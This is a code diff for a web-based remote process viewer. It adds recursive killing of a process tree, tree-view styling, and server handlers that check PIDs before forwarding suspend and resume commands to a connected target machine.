function collectChildren(parentPid) {
|
||||||
|
for (const proc of processes) {
|
||||||
|
if (proc.ppid === parentPid && proc.pid !== parentPid) {
|
||||||
|
collectChildren(proc.pid);
|
||||||
|
toKill.push(proc.pid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
collectChildren(pid);
|
||||||
|
toKill.push(pid);
|
||||||
|
for (const p of toKill) {
|
||||||
|
send({ type: "process_kill", pid: p });
|
||||||
|
}
|
||||||
|
updateStatus("connected", `Killing ${toKill.length} processes...`);
|
||||||
|
}
|
||||||
|
|
||||||
refreshBtn.onclick = () => requestProcessList();
|
refreshBtn.onclick = () => requestProcessList();
|
||||||
killBtn.onclick = () => killProcess();
|
killBtn.onclick = () => killProcess();
|
||||||
|
|
||||||
|
|||||||
@@ -50,20 +50,50 @@
|
|||||||
#process-list::-webkit-scrollbar-thumb:hover {
|
#process-list::-webkit-scrollbar-thumb:hover {
|
||||||
background: #64748b;
|
background: #64748b;
|
||||||
}
|
}
|
||||||
|
.tree-indent-guide {
|
||||||
|
display: inline-block;
|
||||||
|
position: relative;
|
||||||
|
width: 16px;
|
||||||
|
align-self: stretch;
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
.tree-indent-guide::before {
|
||||||
|
content: "";
|
||||||
|
position: absolute;
|
||||||
|
left: 7px;
|
||||||
|
top: 0;
|
||||||
|
bottom: 0;
|
||||||
|
width: 1px;
|
||||||
|
background: rgba(100, 116, 139, 0.25);
|
||||||
|
}
|
||||||
.tree-indent {
|
.tree-indent {
|
||||||
display: inline-block;
|
display: inline-block;
|
||||||
width: 20px;
|
width: 16px;
|
||||||
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
.tree-icon {
|
.tree-icon {
|
||||||
display: inline-block;
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
width: 16px;
|
width: 16px;
|
||||||
text-align: center;
|
height: 16px;
|
||||||
margin-right: 4px;
|
margin-right: 4px;
|
||||||
|
color: #64748b;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
user-select: none;
|
user-select: none;
|
||||||
|
border-radius: 3px;
|
||||||
|
transition:
|
||||||
|
color 120ms ease,
|
||||||
|
background-color 120ms ease,
|
||||||
|
transform 150ms ease;
|
||||||
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
.tree-icon:hover {
|
.tree-icon:hover {
|
||||||
color: #60a5fa;
|
color: #93c5fd;
|
||||||
|
background-color: rgba(96, 165, 250, 0.12);
|
||||||
|
}
|
||||||
|
.tree-icon.collapsed {
|
||||||
|
transform: rotate(-90deg);
|
||||||
}
|
}
|
||||||
.process-row.collapsed > .children {
|
.process-row.collapsed > .children {
|
||||||
display: none;
|
display: none;
|
||||||
|
|||||||
@@ -360,6 +360,26 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
|||||||
metrics.recordCommand("process_kill");
|
metrics.recordCommand("process_kill");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case "process_suspend": {
|
||||||
|
const pid = Number(payload.pid);
|
||||||
|
if (!Number.isFinite(pid) || pid <= 0) {
|
||||||
|
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
target.ws.send(encodeMessage({ type: "command", commandType: "process_suspend", id: commandId, payload: { pid } } as any));
|
||||||
|
metrics.recordCommand("process_suspend");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "process_resume": {
|
||||||
|
const pid = Number(payload.pid);
|
||||||
|
if (!Number.isFinite(pid) || pid <= 0) {
|
||||||
|
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
target.ws.send(encodeMessage({ type: "command", commandType: "process_resume", id: commandId, payload: { pid } } as any));
|
||||||
|
metrics.recordCommand("process_resume");
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user